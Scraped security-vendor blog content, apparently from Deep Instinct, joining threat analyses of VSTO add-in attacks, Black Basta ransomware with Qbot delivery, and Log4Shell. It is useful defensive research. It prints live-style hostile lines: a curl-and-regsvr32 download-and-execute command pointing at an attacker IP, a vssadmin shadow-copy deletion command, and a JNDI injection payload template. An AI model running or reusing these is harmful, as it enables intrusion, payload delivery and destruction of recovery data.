- Encrypted Channel</td><td>Attacker employs encrypted Command & Control communication.</td><td>Usage of libtomcrypt</td></tr><tr><td>Execution</td><td>T1106 – Native API</td><td>Attacker calls upon native OS APIs in order to execute behaviors.</td><td>Usage of popen</td></tr></tbody></table>Earlier variant analysis: <a href="https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor" target="_blank">https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor</a>Deep Instinct takes a prevention-first approach to stopping ransomware and other malware using the world’s first and only purpose-built, deep learning cybersecurity framework. We prevent ransomware, zero-day threats, and previously unknown malware in &lt;20 milliseconds, 750x faster than the fastest ransomware can encrypt. Deep Instinct has &gt;99% zero-day accuracy and promises a &lt;0.1% false positive rate. The Deep Instinct Prevention Platform is an essential addition to every security stack – providing complete, multi-layered protection against threats across hybrid environments.

VSTO-blog.png

<h3>Introduction</h3>Office Visual Basic for Applications (VBA) macros have been a <a href="/blog/types-of-dropper-malware-in-microsoft-office" target="_self">core tool</a> in most threat actors’ arsenals for decades.Their capabilities have enabled clever — and just <a href="https://www.trustedsec.com/blog/malicious-macros-for-script-kiddies/" target="_blank">clever-enough</a> — threat actors to deliver a dizzying array of malware to countless devices around the world. During that time, they have served as what is quite possibly the most commonplace attack vector to infect and compromise Windows PCs. They also acted as a significant component of the first link in a malicious kill-chain that resulted in network compromises, data breaches, and ransomware incidents.This threat landscape prominence has recently been stifled by Microsoft’s long-awaited decision to <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked" target="_blank">block-by-default</a> any VBA macro in Office files bearing the mark-of-the-web (indicating that the file did not originate from the local machine). This significantly reduced this attack surface and forced threat actors to adapt and explore alternative attack vectors.One of these, which is gaining popularity, is the usage of .LNK (shortcut) files. An example of this can be seen in one of our <a href="/blog/the-dark-side-of-bumblebee-malware-loader" target="_self">recent reports</a>.Another such example is Visual Studio Tools for Office (VSTO). Below we explore some “in-the-wild” examples of how VSTO can become a significant attack vector.<h3>What is VSTO?</h3>A software development toolset, VSTO is available in Microsoft’s Visual Studio IDE. It enables Office Add-In’s (a type of Office application extension) to be developed in .NET and also allows for Office documents to be created that will deliver and execute these Add-In’s.Additionally, VSTO Add-In’s can be associated with the specific Office application they were developed for (Word, Excel, etc.) and will execute every time that application is booted, offering up an interesting persistence option on top of the code-execution ability.VSTO Add-In’s can be packaged alongside Office documents (Local VSTO), or, alternatively, fetched from a remote location when a VSTO-Bearing Office document is opened (Remote VSTO). This, however, may require bypass of trust-related security mechanisms.<h3>VSTO as a Threat Vector</h3>In the current threat landscape’s observed state, VSTO is still an uncommon vector (despite being initially <a href="https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/" target="_blank">discussed</a> quite <a href="https://twitter.com/gN3mes1s/status/939146796605018113" target="_blank">some time ago</a>). But as is often the case when an esoteric attack vector is involved, it also goes largely undetected by most security vendors, which may lead to it increasing in popularity in the near-term future.VSTO-bearing Office files contain several indicators which differentiate them from non-VSTO Office files, the primary of which is a contained “custom.xml” XML which contains “_AssemblyLocation” and “_AssemblyName” properties used by the Office application to locate the Add-In and install it.<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltae692c45fce8c9be" alt="Figure 1 - Example of a " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltae692c45fce8c9be/63da8c54df2bf910c80316e8/fig01-custom-xml-referring-local-vsto-add-in.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1 - Example of a "custom.xml" XML referring to a local VSTO Add-In.</figcaption></figure><h3>Local VSTO</h3>When VSTO is employed in its local “flavor” the .NET compiled .DLL “Add-In” and its dependencies are stored alongside the Office document created to execute it, commonly in a “container” such as an .ISO file.In the example detailed below, which targets Portuguese-speaking users, we can see a malicious .ISO file which contains a malicious Word document and a hidden VSTO “Add-In” and its dependencies:<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt54d82b8f46d9881c" alt="Figure 2 - Malicious .ISO, Hidden files not shown, as would appear to most users." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt54d82b8f46d9881c/63da8c54c8540a111ada8b4b/fig02-malicious-iso-hidden-files-not-shown.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 2 - Malicious .ISO, Hidden files not shown, as would appear to most users.</figcaption></figure><figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blta83b367d030dd885" alt="Figure 3 - Malicious .ISO, hidden files shown, mostly dependencies, highlighted - Word document and VSTO " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta83b367d030dd885/63da8c545b2c1e6188c56ec2/fig03-malicious-iso-hidden-files-shown.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 3 - Malicious .ISO, hidden files shown, mostly dependencies, highlighted - Word document and VSTO "Add-In" payload.</figcaption></figure>Once the victim opens the malicious Word document, they are encouraged to install the “Add-In” in a very similar fashion to the way victims were encouraged to click the “Enable Content” button and allow a malicious VBA macro to execute.<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt41d8d794383d1aa8" alt="Figure 4 - Word document (“Eventos_CDG_1Maio.docx”) prompts the user to allow " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt41d8d794383d1aa8/63da8c540cf395166a6e22fb/fig04-word-doc-prompts-user-to-allow-add-in.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4 - Word document (“Eventos_CDG_1Maio.docx”) prompts the user to allow "Add-In" installation.</figcaption></figure><figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt1785537237489441" alt="Figure 5 - Malicious " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1785537237489441/63da8c54e480c910d1acbbb7/fig05-malicious-custom-xml-contained-by-eventos-referring-to-hidden-add-in.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5 - Malicious "custom.xml" contained by “Eventos_CDG_1Maio.docx” referring to the hidden “Add-In” present locally on the .ISO file.</figcaption></figure>Once allowed by the user, the malicious “Add-In” will be executed.<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltfd8952f6b1cd8776" alt="Figure 6 - VSTO installation prompt." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfd8952f6b1cd8776/63da8c542d94ad4c89edc84d/fig06-vsto-installation-prompt.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 6 - VSTO installation prompt.</figcaption></figure>Examining the “Add-In” payload reveals it serves to execute an encoded and compressed PowerShell snippet:<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltff7e2e81ed5f2a4f" alt="Figure 7 - " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltff7e2e81ed5f2a4f/63da8c544ad09d10da61ae0b/fig07-eventos_cdg_1maio.dll-payload-core.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 7 - "Eventos_CDG_1Maio.dll” payload “core”.</figcaption></figure>An interesting point of note is that the above code’s parent .NET namespace is “schell_test.” This appears to be a reference to a <a href="https://medium.com/@airlockdigital/make-phishing-great-again-vsto-office-files-are-the-new-macro-nightmare-e09fcadef010" target="_blank">post by Daniel Schell</a>, which predates the appearance of this sample by approximately two weeks.Decoding and decompressing from the above, the snippet is intended to deliver and execute additional PowerShell code from a Command & Control server:<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt2deb8b0052b3ec77" alt="Figure 8 - Decoded and decompressed PowerShell snippet." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2deb8b0052b3ec77/63da8c543d28dd4dde642bc5/fig08-decoded-and-decompressed-powershell-snippet.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8 - Decoded and decompressed PowerShell snippet.</figcaption></figure>Unfortunately, we were unable to obtain this additional 2nd-stage code as it had gone offline prior to our investigation of this sample.<h3>Remote VSTO</h3>VSTO can also be employed in remote fashion, i.e., the Add-In can be stored separately of the Office document created to deliver and execute it. This can make an attack employing VSTO even more challenging to detect or prevent. However, it can also be more complex for an attacker to execute because it requires bypassing various trust-related security mechanisms using a trusted publisher certificate, for example.In the example below, we can see a reference to a remotely stored VSTO “Add-In” taken from a malicious Word document:<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltf4e068fa4bdd09dc" alt="Figure 9 - Remote VSTO " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4e068fa4bdd09dc/63da8c545ca8a710cf4b7226/fig09-remote-vsto-custom-xml.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9 - Remote VSTO "custom.xml" XML.</figcaption></figure>Examining the “Add-In” .DLL payload, which was obtained by cross-referencing threat intelligence data, we can see the following contained code which is intended to download a password protected .ZIP archive, extract it in the user’s %\AppData\Local\ folder, and execute a contained “conhost.exe” file.<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt29d36f5d1f3a9676" alt="Figure 10 - “3rd stage” payload delivery and execution code." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt29d36f5d1f3a9676/63da8c54e4e29e75dc5df0ee/fig10-3rd-stage-payload-delivery-and-execution-code.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10 - “3rd stage” payload delivery and execution code.</figcaption></figure>Unfortunately, we were unable to obtain the 3rd-stage archive and its contained payload (“conhost.exe”) as it had gone offline prior to our investigation of this sample.<h3>POC of VTSO Attack Scenarios</h3>Partly as an academic exercise, and partly because the final payloads related to the above-described samples were unavailable, we decided to put together a proof of concept (POC) of how VSTO can be used in multiple types of attack scenarios.

In the above video, you can see a demonstration of our proof of concept delivering and executing a Meterpreter payload as well as establishing persistence on the victim’s machine.The POC code can be found in our public <a href="https://github.com/deepinstinct/VSTO-POC" target="_blank">GitHub repository</a>Please note that we used a simple, highly detectable, Meterpreter payload. This required us to disable <a href="/vs-microsoft-defender" target="_self">Microsoft Windows Defender</a> to film the above video. However, the rest of the POC components went completely undetected.<h3>Conclusion</h3>While VSTO Add-In's are relatively uncommon in the threat landscape due to the capabilities offered both in terms of execution (in theory – an entire fully-featured malware strain can be written and developed in .NET as a VSTO Add-In) and in terms of persistence, we expect more threat actors to adopt and employ them soon. This is particularly true of nation-state and other “high caliber” actors who are more likely to gain the ability to bypass the trust mechanisms present in the Windows environment by means such as a stolen (or otherwise obtained) trusted certificate.<h3>IOCs</h3>5530F5D20016E3F0E6BBC7FAD83EEC56F118179D4C5D89FC26863C37482F8930 E74DD27FF0BA050BBC006FD579B8022E07B570804588F0E861CC4B1321A3EC48 0526F63486DE882CCF33374DCA4B093219A8FD93014BABE794715F04FF49B151 B3282DC58AD961911D94B712CEA11F649B0BA785D7FF74D7ED9946E1260DD521 40C9D3D58CE5DB0C6D18184E5813C980CD7B72EFC7505C53CD13E60860EF8157 78D6A2C0B52E9E5AF8007BC824EFD5846585A3056B3A0E6EFDFA7E60EED48C8C hxxps://34.241.171.114/ hxxp://classicfonts.live/<h3>MITRE Mapping</h3><table><thead class="bg-grey"><tr><th style="width: 15%;">Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Execution</td><td>T1204.002User Execution: Malicious File</td><td>User must open a malicious document</td><td>E74DD27FF0BA050BBC006FD579B8022E07B570804588F0E861CC4B1321A3EC48</td></tr><tr><td>Execution</td><td>T1059.001Command and Scripting Interpreter: PowerShell</td><td>PowerShell code is executed</td><td>0526F63486DE882CCF33374DCA4B093219A8FD93014BABE794715F04FF49B151</td></tr><tr><td>Defense Evasion</td><td>T1553.005Subvert Trust Controls: Mark-of-the-Web Bypass</td><td>.ISO container file used</td><td>5530F5D20016E3F0E6BBC7FAD83EEC56F118179D4C5D89FC26863C37482F8930</td></tr><tr><td>Defense Evasion</td><td>T1027Obfuscated Files or Information</td><td>Obfuscation used; Password protected file used.</td><td>0526F63486DE882CCF33374DCA4B093219A8FD93014BABE794715F04FF49B151, 78D6A2C0B52E9E5AF8007BC824EFD5846585A3056B3A0E6EFDFA7E60EED48C8C</td></tr><tr><td>Persistence</td><td>T1137.006Office Application Startup: Add-ins</td><td>VSTO Add-In's may be used for persistence</td><td>E62E05D9DE5DAAB900FC32941727870C018D7CFD46E2BAC43EF360B80B3A0B31</td></tr></tbody></table>

No Macro? No Worries. VSTO Being Weaponized by Threat Actors

basta-blog.png

<h2>Introduction</h2>Despite its <a href="https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/" target="_self">recent emergence</a> on the threat landscape, Black Basta ransomware is quickly becoming a significant threat that should be on the radar of SecOps teams worldwide. Black Basta has already executed multiple rapid-fire breaches by utilizing Qakbot/Qbot as its means of delivery and also targets Linux ESXi systems to amplify its potential impact on a targeted environment.<h2>Black Basta Origins</h2>Little is known about the group currently operating Black Basta, however, there may be an association with the now-defunct Conti group based on similarities in both actors’ TOR network sites. It has been <a href="https://twitter.com/VK_Intel/status/1557003350541242369/photo/1" target="_self">suggested</a> that Black Basta is a splinter-group that broke off from Conti during the latter’s collapse.<h2>Black Basta with Qbot – A powerful partner for attack</h2>Black Basta does not self-propagate. Instead, it relies on Qbot to propagate throughout a targeted environment before leveraging the banking trojan to deliver its payload.Qbot has been a well-known presence on the threat landscape for more than a decade. It is most commonly distributed through large phishing email campaigns, often employing complex, multi-stage downloaders that use multiple file types including Office documents, .HTML files, .ISO, and .LNK files. Qbot also employs vulnerability exploits and relatively uncommon techniques such as <a href="https://www.bleepingcomputer.com/news/security/qbot-phishing-uses-windows-calculator-dll-hijacking-to-infect-devices/" target="_self">.DLL side-loading</a>.A typical Qbot infection chain starts with a thread-hijacked email message; this is a response to an existing correspondence from a hijacked email account intended to trick the recipient into thinking the message is from someone they know and engage with.<figure style = "float: none;width: 568px;max-width:568px;"><img asset_uid="blt1e4e1d589547368a" alt="Figure 1- Qbot infection email on a pre-existing thread. " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1e4e1d589547368a/62fcfad7f544494c40366c5d/figure1-qbot-infection-email.png" /><figcaption >Figure 1- Qbot infection email on a pre-existing thread.</figcaption></figure>The attached .HTML file contains an embedded, password protected .ZIP file which is dropped to the user’s Downloads directory when the .HTML file is opened.<figure style = "float: none;width: 634px;max-width:634px;"><img asset_uid="blt74c43cee63ad9d4b" alt="Figure 2- Embedded .ZIP file in .HTML. " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt74c43cee63ad9d4b/62fcfad81ed6c064a1d5a0d4/figure2-embedded-zip-file.png" /><figcaption >Figure 2- Embedded .ZIP file in .HTML.</figcaption></figure>The password protected .ZIP file (the password is provided in the email) contains a .LNK file which executes the following command in order to download the Qbot .DLL payload to the victim’s temp directory as “goAlso.rtf” and execute it using regsvr32.<figure style = "float: none;width: 705px;max-width:auto;"><img asset_uid="blt3b8e1abb5272f287" alt="Figure 3- .LNK file responsible for download and execution of Qbot payload." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3b8e1abb5272f287/62fcfad7b4be734daff7f44c/figure3-lnk-file.png" /><figcaption >Figure 3- .LNK file responsible for download and execution of Qbot payload.</figcaption></figure><pre>%windir%\System32\cmd.exe /c %windir%\system32\curl -s -o %temp%\goAlso.rtf http[:]//146[.]70[.]79[.]52/fromMakeTell.dat&&%windir%\system32\regsvr32 %temp%\goAlso.rtf</pre>In this instance, Qbot’s .DLL payload is signed using a bogus certificate, which has since been revoked.<figure style = "float: none;width: 402px;max-width:auto;"><img asset_uid="blta3374f8dc03cdd86" alt="Figure 4-Signed Qbot payload .DLL (valid at time of execution)." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta3374f8dc03cdd86/62fcfad8c95e235432830526/figure4-signed-qbot.png" /><figcaption >Figure 4-Signed Qbot payload .DLL (valid at time of execution).</figcaption></figure>Following initial access, Qbot will employ tools such as Cobalt Strike and AdFind in order to move laterally across the network, enabling RDP log-ons and disabling defenses as it traverses the victim network.<h2>Black Basta Ransomware in Action</h2>Now we’ll look at how a Black Basta ransomware attack occurs. There are two different variants – the Windows variant and the ESXi variant.<h2>The Windows variant</h2>Black Basta is written in C++, does not employ code obfuscation or packing, and contains many hard-coded features, hinting that it may still be a work in progress.Once delivered and executed, Black Basta will check for the presence of a hard-coded mutex (“dsajdhas.0”) and, if not found, will create it and proceed to delete shadow copies present on the victim’s system in order to inhibit recovery:<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt23411912af3212c6" alt="Figure 5- Mutex Check." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt23411912af3212c6/62fcfad89b71de52f5de8ccb/figure5-mutex-check.png" /><figcaption >Figure 5- Mutex Check.</figcaption></figure><figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="bltf4fe8e89d84a94a6" alt="Figure 6- Mutex Creation." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4fe8e89d84a94a6/62fcfad8da3c526fe63149ad/figure6-mutex-creation.png" /><figcaption >Figure 6- Mutex Creation.</figcaption></figure><figure style = "float: none;width: 536px;max-width:auto;"><img asset_uid="bltbe302a18ddf0bb95" alt="Figure 7- Shadow copy deletion." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbe302a18ddf0bb95/62fcfad82914326e6e5fc98a/figure7-shadow-copy-deletion.png" /><figcaption >Figure 7- Shadow copy deletion.</figcaption></figure>The above partial snippet results in the commands below being executed on the victim‘s machine:<pre>cmd.exe /c C:\Windows\SysNative\vssadmin.exe delete shadows /all /quiet cmd.exe /c C:\Windows\System32\vssadmin.exe delete shadows /all /quiet </pre>If the mutex is found, Black Basta will display a notification and terminate itself:<figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt0dd622ad1da7c1fb" alt="Figure 8- Mutex detected." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0dd622ad1da7c1fb/62fcfad80ec5277181618289/figure8-mutex-detected.png" /><figcaption >Figure 8- Mutex detected.</figcaption></figure>This is common behavior in many types of ransomware.<h2>How does Black Basta Ransomware work?</h2>Following the deletion of shadow copies, Black Basta will modify the system’s wallpaper and set a default file icon for its own “.basta” encrypted file extension, both of which are hard-coded into the executable and written to the user’s %temp% directory (this technique is also quite common in ransomware).<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blte6f2d4adde9c72d2" alt="Figure 9- Sets Wallpaper." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte6f2d4adde9c72d2/62fcfad89b71c064a05846c9/figure9-sets-wallpaper.png" /><figcaption >Figure 9- Sets Wallpaper.</figcaption></figure><figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt503ed1a1ec312171" alt="Figure 10- Sets default file icon." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt503ed1a1ec312171/62fcfad8c43eaf6744339958/figure10-sets-default-file-icon.png" /><figcaption >Figure 10- Sets default file icon.</figcaption></figure>Black Basta then encrypts files on the victim’s file system, excluding several file system locations and file extensions (including its own, listed below), in order to reduce the chances of completely “breaking” the executing machine; it does this by using a randomly generated ChaCha20 key which is then encrypted using a hard-coded RSA public key and appended to the end of every encrypted file.The combination of ChaCha20 and RSA is likely to have been chosen due to its relative speed, which reduces the time it takes to encrypt large amounts of data.Exclusions:<ul><li>$Recycle.Bin</li><li>Windows</li><li>Documents and Settings</li><li>Local Settings</li><li>Application Data</li><li>OUT.txt</li><li>boot</li><li>readme.txt (Its ransom note)</li><li>dlaksjdoiwq.jpg (Its wallpaper)</li><li>NTUSER.DAT</li><li>fkdjsadasd.ico (Its default file icon)</li><li>.com</li><li>.exe</li><li>.bat</li><li>.cmd</li><li>.basta (Its file extension)</li></ul>The ransom note, also hard-coded into the executable, is dropped at every file system location which is encrypted as “readme.txt” and contains a hard-coded “victim ID.” The ransom note refers the reader to Black Basta operator’s TOR site.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="bltea3a6f0ddda59d54" alt="Figure 11- Ransom note." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltea3a6f0ddda59d54/62fcfae69b71de52f5de8ccf/figure11-ransom-note.png" /><figcaption >Figure 11- Ransom note.</figcaption></figure>Black Basta’s operators can also selectively encrypt specific file system paths by using built-in “-forcepath” command line parameters and providing a specific path to be encrypted. This enables the operators to encrypt specific paths without going through the entire machine, drastically reducing its execution time.<figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="bltdf3c623b7eb119dc" alt="Figure 12- Forced path." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdf3c623b7eb119dc/62fcfae6ea0d864c464ac844/figure12-forced-path.png" /><figcaption >Figure 12- Forced path.</figcaption></figure>Examined Black Basta samples did not contain any data exfiltration mechanisms, and it is assumed that exfiltration of data takes place prior to the delivery of the ransomware payload.<h2>The ESXi variant</h2>Black Basta’s Linux/ESXi variant is very similar to the Windows variant; both variants contain the same hard-coded ransom note and use the same encryption scheme.The ESXi variant encrypts data in “/vmfs/volumes,” which contains all the virtual machine data on an ESXi server, bringing everything that was running on that server to a grinding halt, all without “breaking” the server itself.Additionally, it contains the same ability to encrypt specific operating system paths using the “-forcepath” command line parameter.Of note, this variant can also be executed on Windows systems by means of Windows Sub-System for Linux (WSL), a technique that is attracting <a href="https://www.bleepingcomputer.com/news/security/new-windows-subsystem-for-linux-malware-steals-browser-auth-cookies/" target="_self">growing attention as an attack surface</a>.<h2>Conclusion: Black Basta ransomware detection and prevention with Deep Instinct</h2>While Black Basta is not particularly sophisticated, its employment of Qbot provides it with ample opportunities for attack. Its use of a Linux/ESXi variant can make it particularly dangerous to organizations since it can potentially target both Windows workstations and ESXi servers, which host virtual machines that are often critical to an organization’s ongoing operation.Deep Instinct prevents Black Basta and other advanced malware, pre-execution. Using deep learning models to prevent malicious files from being executed, Deep Instinct can predict and prevent known, unknown, and zero-day threats in &lt;20 milliseconds, 750X faster than the fastest ransomware can encrypt. Our deep learning, prevention-first approach allows us to detect and prevent even the most advanced threats with &gt;99% zero-day accuracy.If you’d like to learn more about our malware, ransomware, and <a href="/zero-day-attacks" target="_self">zero-day prevention capabilities</a> – including our industry-best $3M no-ransomware guarantee – we’d be honored to <a href="/request-a-demo" target="_self">give you a demo</a>.<h2>IOCs</h2><h3>Qbot</h3><table><colgroup data-width='664'><col style="width:40.81329999999999%"/><col style="width:59.1867%"/></colgroup> <tbody> <tr> <td>CrmReport_948575.html (sha256)</td> <td>3b5ff11fe11246c91d29cde511a22636524e91e29842dde6327fe92484e08f47</td> </tr> <tr><td>CrmReport_948575.zip (sha256, password = abc123)</td> <td>7c79cd208b8d052bbc957d70b21dc4f548f2f48e2696005b99ff4ce5cf41f5d1</td> </tr> <tr> <td>CrmReport_948575.lnk (sha256)</td> <td>ff4fe3c3f2f6a65f43943b3326dd47686bc48c53a7c6714602c1b547a8e8b538</td> </tr> <tr> <td>Qbot Payload (sha256)</td> <td>7385cc993ec169ad06a4e367b5ad65b9d6a231fe385d11fe8c3757d557932e8c</td> </tr> <tr> <td>Qbot Payload (sha256)</td> <td>99692f5a1ca26b896d8c3220c42db7adc3007837a9b0d12d60d888f01f92fbbf</td> </tr> <tr> <td>Payload Host</td> <td>http[:]//146.70.79.52/</td> </tr> <tr> <td>Qbot payload certificate thumbprint (sha1)</td> <td>2bee3f716b80273db9639376a296cf19cdba0f1a</td> </tr> </tbody></table>

&nbsp;
<h3>Black Basta</h3><table><colgroup data-width='661'><col style="width:40.84720000000001%"/><col style="width:59.152800000000006%"/></colgroup> <tbody> <tr> <td>Black Basta Windows Variant (sha256)</td> <td>203d2807df6ef531efbec7bfd109986de3e23df64c01ea4e337cbe5ba675248b</td> </tr> <tr> <td>Black Basta Windows Variant (sha256)</td> <td>9fce9ee85516533bae34fc1184a7cf31fa9f2c7889b13774f83d1df561708833</td> </tr> <tr> <td>Black Basta Linux/ESXi Variant (sha256)</td> <td>0d6c3de5aebbbe85939d7588150edf7b7bdc712fceb6a83d79e65b6f79bfc2ef</td> </tr> <tr> <td>Black Basta TOR site</td> <td>https[:]//aazsbsgya565vlu2c6bzy6yfiebkcbtvvcytvolt33s77xypi7nypxyd.onion/</td> </tr> </tbody></table>
&nbsp;
<h3>Black Basta – Victim system IOC</h3><table><colgroup data-width='308'><col style="width:59.09089999999999%"/><col style="width:40.909099999999995%"/></colgroup> <tbody> <tr> <td>Mutex</td> <td>Mdsajdhas.0</td> </tr> <tr> <td>Wallpaper</td> <td>%temp%\dlaksjdoiwq.jpg</td> </tr> <tr> <td>File Icon</td> <td>%temp%\fkdjsadasd.ico</td> </tr> <tr> <td>Registry</td> <td>HKCR\.basta\</td> </tr> </tbody></table>

Beating Black Basta Ransomware

Log4Shell (CVE-2021-44228) – What You Need to Know

Log4Shell-Blog.jpg

<h5>Overview </h5>
On December 9, a <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" target="_blank" rel="noreferrer noopener">severe remote code execution vulnerability</a> was disclosed in Apache’s logging tool, Log4j2 – a widely-used open-source Java framework used for logging by countless commercial, non-commercial, and internally-developed applications and users – affecting all previous versions of the framework. 
Due to the simplicity of the exploitation and the massive usage of the Log4j library in many components from different products, we’ve already seen several POCs being published on Github which implement this exploit. 
The vulnerability has been dubbed “Log4Shell” and its root cause has since been fixed by Log4j2 authors. It is highly recommended that all users of Log4j2 or applications that employ Log4j2 update to the <a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank" rel="noreferrer noopener">latest version (v2.15.0)</a> of the framework or respective application. 
Deep Instinct’s product line, agents, cloud infrastructure, and servers do not use or rely on log4j2 and therefore cannot be compromised by it and are not vulnerable to its exploitation. 
Interestingly, this is not the first time JNDI and LDAP have been responsible for vulnerable software. During Black Hat 2016, <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" target="_blank" rel="noreferrer noopener">researchers presented</a> how to successfully use remote code execution leveraging these two components. <h5>What Makes Log4Shell so Severe? </h5>
“Log4Shell” abuses the Java Naming and Directory Interface (JNDI) and Lightweight Directory Access Protocol (LDAP), enabling it to force applications and servers running Log4j to fetch and execute a malicious payload. 
JNDI, which has been present in Java since the 1990s, allows Java programs and applications to locate and make use of remote data. LDAP is an industry-standard, application-layer protocol that allows access to remote directories over Internet-Protocol (IP). 
The vulnerability is exceptionally easy to exploit, requiring (in some cases) only a crafted User-Agent HTTP request header and has multiple POCs already published for it. 
In short – by simply causing a vulnerable application to write a specific format of string to its logs it will “trip” the vulnerability. 
In the simplest manner, an attacker can change the HTTP request User-Agent header to something in the following format: ${jndi:ldap://&lt;malicious_server:port&gt;/&lt;malicious_payload&gt;}, which will be logged by the receiving application, causing Log4j to fetch and arbitrarily execute the malicious payload. 
The vulnerability is particularly dangerous as it allows anyone interacting with the vulnerable application to remotely execute arbitrary code on the machine hosting the application, allowing for anything from reconnaissance to initial access into targeted networks and ransomware delivery. <h5>Current Activity and Exploitation in the Wild</h5>
The impact of this vulnerability and its exploitation is vast, affecting entities from a variety of sectors including Apple, Amazon, Tesla, Google, and <a href="https://github.com/YfryTchsGD/Log4jAttackSurface" target="_blank" rel="noreferrer noopener">many more</a>. This not only puts these enterprises at risk but the customers that use their services as well. <h5>Deep Instinct vs. CVE-2021-44228 </h5>
In the case of successful exploitation of the log4j2 vulnerability, the Deep Instinct agent-based solution prevents execution of any shellcode or malicious payload emanating from compromised machines or environments. Consequent malicious payload delivered by the Log4Shell exploit will be prevented in the pre-execution phase by Deep Instinct agents using the deep learning brain capabilities. 
The following video demonstrates Deep Instinct’s Windows D-Client protecting against exploitation of this vulnerability. Deep Instinct Windows D-Client is installed on a Windows machine that runs a vulnerable service. The kali machine attacks the service by sending a malicious HTTP request which causes the Windows machine to attempt execution of an encoded PowerShell command.

<h5>Recommended Actions and Mitigation</h5><ul><li>First and foremost, immediately Upgrade log4j2 to its latest version 2.15.0, which is not affected by this vulnerability.</li><li>If you are using a version (&gt;/=2.10), you can set the setting system property "log4j2.formatMsgNoLookups" to “true” (default in version 2.15.0).</li><li>Protection in previous versions (2.0_beta9 - 2.10.0) is possible by removing the JndiLookup class from the class path e.g.: zip -q -d log4j-core-.*jar org/apache/logging/log4j/core/lookup/JndiLookup.class</li></ul><ul><li>Implementation of Input validation mechanisms to all code that interacts with log4j.</li></ul><h5>Full Mitigation Guide Available Here:</h5><ul><li><a href="https://logging.apache.org/log4j/2.x/manual/migration.html">https://logging.apache.org/log...</a></li></ul><h5>You Can Use These Commands to Search for Exploitation Attempts Against the log4j RCE Vulnerability:</h5><ul><li><a href="https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b">https://gist.github.com/Neo23x...</a></li></ul>
<h5>References</h5>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" target="_blank" rel="noreferrer noopener">https://nvd.nist.gov/vuln/detail/CVE-2021-44228</a> - CVE details and scores
<a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank" rel="noreferrer noopener">https://logging.apache.org/log4j/2.x/security.html</a> - Log4j 2.15.0 patch notes
<a href="https://logging.apache.org/log4j/2.x/download.html" target="_blank" rel="noreferrer noopener">https://logging.apache.org/log4j/2.x/download.html</a> - Log4j2 latest version (2.15.0)
<a href="https://github.com/YfryTchsGD/Log4jAttackSurface" target="_blank" rel="noreferrer noopener">https://github.com/YfryTchsGD/Log4jAttackSurface</a> - list of affected components

Understanding the JavaScript Threat Landscape

JavaScript-Blog2.jpg

